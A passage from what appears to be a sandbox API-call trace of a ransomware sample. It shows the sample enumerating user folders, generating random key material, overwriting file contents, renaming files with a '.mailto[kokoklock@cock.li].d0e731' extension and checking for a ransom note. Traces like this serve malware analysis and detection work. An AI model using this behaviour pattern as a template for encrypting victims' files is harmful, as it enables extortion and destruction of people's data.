returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0069.179] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0069.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480300) returned 1 [0069.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480fd8) returned 1 [0069.179] RtlExitUserThread (Status=0x1) Thread: id = 405 os_tid = 0x1018 [0069.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x34802a0 [0069.180] wcscpy (in: _Dest=0x34802a0, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0069.180] wcscat (in: _Dest=0x34802a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0069.180] wcscat (in: _Dest=0x34802a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*" [0069.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429a00 [0069.180] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\*", lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0xca063ea0, ftLastAccessTime.dwHighDateTime=0x1d4c7b2, ftLastWriteTime.dwLowDateTime=0xca063ea0, ftLastWriteTime.dwHighDateTime=0x1d4c7b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0069.181] wcscmp (_String1=".", _String2=".") returned 0 [0069.181] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0xca063ea0, ftLastAccessTime.dwHighDateTime=0x1d4c7b2, ftLastWriteTime.dwLowDateTime=0xca063ea0, ftLastWriteTime.dwHighDateTime=0x1d4c7b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.181] wcscmp (_String1="..", _String2=".") returned 1 [0069.181] wcscmp (_String1="..", _String2="..") returned 0 [0069.181] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899001c0, ftCreationTime.dwHighDateTime=0x1d4d11d, ftLastAccessTime.dwLowDateTime=0xb8bc3c0, ftLastAccessTime.dwHighDateTime=0x1d4d2f0, ftLastWriteTime.dwLowDateTime=0xb8bc3c0, ftLastWriteTime.dwHighDateTime=0x1d4d2f0, nFileSizeHigh=0x0, nFileSizeLow=0x2df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRd9ROZx-rjGv.m4a", cAlternateFileName="CRD9RO~1.M4A")) returned 1 [0069.181] wcscmp (_String1="CRd9ROZx-rjGv.m4a", _String2=".") returned 1 [0069.181] wcscmp (_String1="CRd9ROZx-rjGv.m4a", _String2="..") returned 1 [0069.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccf70 [0069.181] wcscpy (in: _Dest=0x33ccf70, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0069.181] wcscat (in: _Dest=0x33ccf70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0069.181] wcscat (in: _Dest=0x33ccf70, _Source="CRd9ROZx-rjGv.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" [0070.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0070.470] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff3bd0, ftCreationTime.dwHighDateTime=0x1d4ced1, ftLastAccessTime.dwLowDateTime=0x78e8d300, ftLastAccessTime.dwHighDateTime=0x1d4ce8a, ftLastWriteTime.dwLowDateTime=0x78e8d300, ftLastWriteTime.dwHighDateTime=0x1d4ce8a, nFileSizeHigh=0x0, nFileSizeLow=0xce1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PmQ_l.mp3", cAlternateFileName="")) returned 1 [0070.470] wcscmp (_String1="PmQ_l.mp3", _String2=".") returned 1 [0070.470] wcscmp (_String1="PmQ_l.mp3", _String2="..") returned 1 [0070.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dee0 [0070.470] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0070.470] wcscat (in: _Dest=0x347dee0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0070.470] wcscat (in: _Dest=0x347dee0, _Source="PmQ_l.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" [0070.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0070.471] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff3bd0, ftCreationTime.dwHighDateTime=0x1d4ced1, ftLastAccessTime.dwLowDateTime=0x78e8d300, ftLastAccessTime.dwHighDateTime=0x1d4ce8a, ftLastWriteTime.dwLowDateTime=0x78e8d300, ftLastWriteTime.dwHighDateTime=0x1d4ce8a, nFileSizeHigh=0x0, nFileSizeLow=0xce1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PmQ_l.mp3", cAlternateFileName="")) returned 0 [0070.471] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0070.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429a00) returned 1 [0070.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0070.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431258) returned 1 [0070.471] RtlExitUserThread (Status=0x0) Thread: id = 406 os_tid = 0x1020 [0069.181] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3")) returned 0x20 [0069.181] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3", dwFileAttributes=0x20) returned 1 [0069.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.182] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x118bf750 | out: lpFileSize=0x118bf750*=34059) returned 1 [0069.182] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x8507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.182] ReadFile (in: hFile=0x768, lpBuffer=0x118bf724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x118bf724*, lpNumberOfBytesRead=0x118bf720*=0x4, lpOverlapped=0x0) returned 1 [0069.182] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.182] NtQuerySystemTime (in: CurrentTime=0x118bf6fc | out: CurrentTime=0x118bf6fc*=132121176270722724) returned 0x0 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x49678566 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x99dfb942 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xd69c99e3 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x1c5e9c4a [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xa4010f24 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xa3b7b487 [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x560e52ec [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xd3fbf58a [0069.182] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xa769c38e [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x1727a2f [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xaa7dd97e [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xc3a82dcf [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x3e727abf [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x82f0b860 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xe3349319 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x367a4a8d [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xf719c4e3 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xa4e34e19 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x152ff389 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x13e7dca7 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x9ecc80a6 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x87209155 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x8cdfbcf2 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x462363e2 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x1152c09c [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xbcf247e [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x96e9e6b4 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0xe144b295 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x3a7ff570 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x1834b5a7 [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x5032dd4d [0069.183] RtlRandom (in: Seed=0x118bf708 | out: Seed=0x118bf708) returned 0x8193ae32 [0069.194] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.195] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x118bf6d4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x118bf6d4*=0x4096, lpOverlapped=0x0) returned 1 [0069.195] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf00 [0069.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf00) returned 1 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc30 [0069.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x118bf6d4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x118bf6d4*=0x4096, lpOverlapped=0x0) returned 1 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.196] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x850b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x342bc30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x118bf70c, lpOverlapped=0x0 | out: lpBuffer=0x342bc30*, lpNumberOfBytesWritten=0x118bf70c*=0x20, lpOverlapped=0x0) returned 1 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc30) returned 1 [0069.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x342bcd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x342bcd0*, lpNumberOfBytesWritten=0x118bf720*=0x8, lpOverlapped=0x0) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x118bf738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x118bf738*, lpNumberOfBytesWritten=0x118bf720*=0x4, lpOverlapped=0x0) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x118bf720*=0x4, lpOverlapped=0x0) returned 1 [0069.196] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x118bf720*=0x6c, lpOverlapped=0x0) returned 1 [0069.197] WriteFile (in: hFile=0x768, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0x118bf720*=0x20, lpOverlapped=0x0) returned 1 [0069.197] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x118bf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x118bf720*=0x4, lpOverlapped=0x0) returned 1 [0069.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0069.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd20) returned 1 [0069.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bcd0) returned 1 [0069.197] CloseHandle (hObject=0x768) returned 1 [0069.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x3424900 [0069.198] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" [0069.198] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" [0069.198] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\v mwk23ocjq.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.199] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0069.199] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3", dwFileAttributes=0x20) returned 0 [0069.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480300 [0069.199] wcscpy (in: _Dest=0x3480300, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0069.199] wcscat (in: _Dest=0x3480300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0069.199] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0069.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480300) returned 1 [0069.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430cd8) returned 1 [0069.200] RtlExitUserThread (Status=0x1) Thread: id = 407 os_tid = 0x1024 [0069.201] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url")) returned 0x20 [0069.202] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", dwFileAttributes=0x20) returned 1 [0069.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.203] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x1193f9a0 | out: lpFileSize=0x1193f9a0*=208) returned 1 [0069.203] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0xcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.203] ReadFile (in: hFile=0x768, lpBuffer=0x1193f974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x1193f974*, lpNumberOfBytesRead=0x1193f970*=0x4, lpOverlapped=0x0) returned 1 [0069.204] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c220 [0069.204] NtQuerySystemTime (in: CurrentTime=0x1193f94c | out: CurrentTime=0x1193f94c*=132121176271035122) returned 0x0 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x180e6e66 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x76e6d0bc [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x6aba45ae [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xa20b97b5 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xb5fb62aa [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x39cb85e0 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x565f357e [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x5b8e10ee [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x65e5676c [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xf9db5b57 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x5833ba93 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xb5ac1632 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xcc752e6c [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xf2ca38ea [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x2d5c3aa4 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xdcd4d846 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x704ee3f1 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x9e47d01b [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x59a057b2 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x4977ae97 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x9208bbf6 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xd32b0917 [0069.204] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x5d2560b9 [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xbe33fa38 [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x6a247ca1 [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x1bd47b7b [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x37704e09 [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x411048af [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xbda86c4f [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0xeaaa0d72 [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x12c2e28b [0069.205] RtlRandom (in: Seed=0x1193f958 | out: Seed=0x1193f958) returned 0x21bd679c [0069.216] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x1193f94c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1193f94c*=0xd0, lpOverlapped=0x0) returned 1 [0069.216] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1193f914 | out: lpNewFilePointer=0x0) returned 1 [0069.216] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x1193f948, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1193f948*=0xd0, lpOverlapped=0x0) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0b8 [0069.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c018 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c018) returned 1 [0069.216] WriteFile (in: hFile=0x768, lpBuffer=0x342c0b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1193f944, lpOverlapped=0x0 | out: lpBuffer=0x342c0b8*, lpNumberOfBytesWritten=0x1193f944*=0x20, lpOverlapped=0x0) returned 1 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0b8) returned 1 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0069.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0069.216] WriteFile (in: hFile=0x768, lpBuffer=0x342c108*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x342c108*, lpNumberOfBytesWritten=0x1193f970*=0x8, lpOverlapped=0x0) returned 1 [0069.216] WriteFile (in: hFile=0x768, lpBuffer=0x1193f988*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x1193f988*, lpNumberOfBytesWritten=0x1193f970*=0x4, lpOverlapped=0x0) returned 1 [0069.216] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1193f970*=0x4, lpOverlapped=0x0) returned 1 [0069.217] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1193f970*=0x6c, lpOverlapped=0x0) returned 1 [0069.217] WriteFile (in: hFile=0x768, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, 